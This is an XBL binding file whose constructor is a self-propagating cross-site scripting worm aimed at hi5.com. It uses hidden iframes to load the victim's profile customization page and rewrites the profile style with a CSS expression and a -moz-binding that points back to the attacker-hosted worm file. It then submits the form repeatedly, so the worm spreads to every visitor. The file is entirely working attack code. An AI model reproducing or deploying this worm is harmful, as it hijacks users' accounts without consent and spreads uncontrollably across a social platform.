<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml">
	<binding id="xs">
		<implementation>
			<constructor>
				(function q(){
					function $(u,x){with(document)with(body)(x=appendChild(createElement('iframe'))).src=u;return x;}
					if(!window.p){
						window.p=escape("("+q+")();");
						alert(/hi5 xss worm wishes you a merry merry xmas/);
						$("http://www.hi5.com/friend/profile/removeSkin.do").height=0;
						$("http://www.hi5.com/friend/account/displayEditProfileCustomization.do").height=0;
						var m=setInterval(function(){
							try{
								frames[1].document.forms[0].backgroundImageURL.value="http://www.x.se/ye59";
								frames[1].document.forms[0].style.value="body{width:expression(eval(unescape(\""+window.p+"\")));-moz-binding:url('http://www.sirdarckcat.net/xssworm.xml#xs');}";
								frames[1].document.forms[0].submit();
								setTimeout(function(){frames[1].location="http://www.hi5.com/friend/account/displayEditProfileCustomization.do";},2000);
							}catch(e){}
						},1000);
					}
				})();
			</constructor>
		</implementation>
	</binding>
</bindings>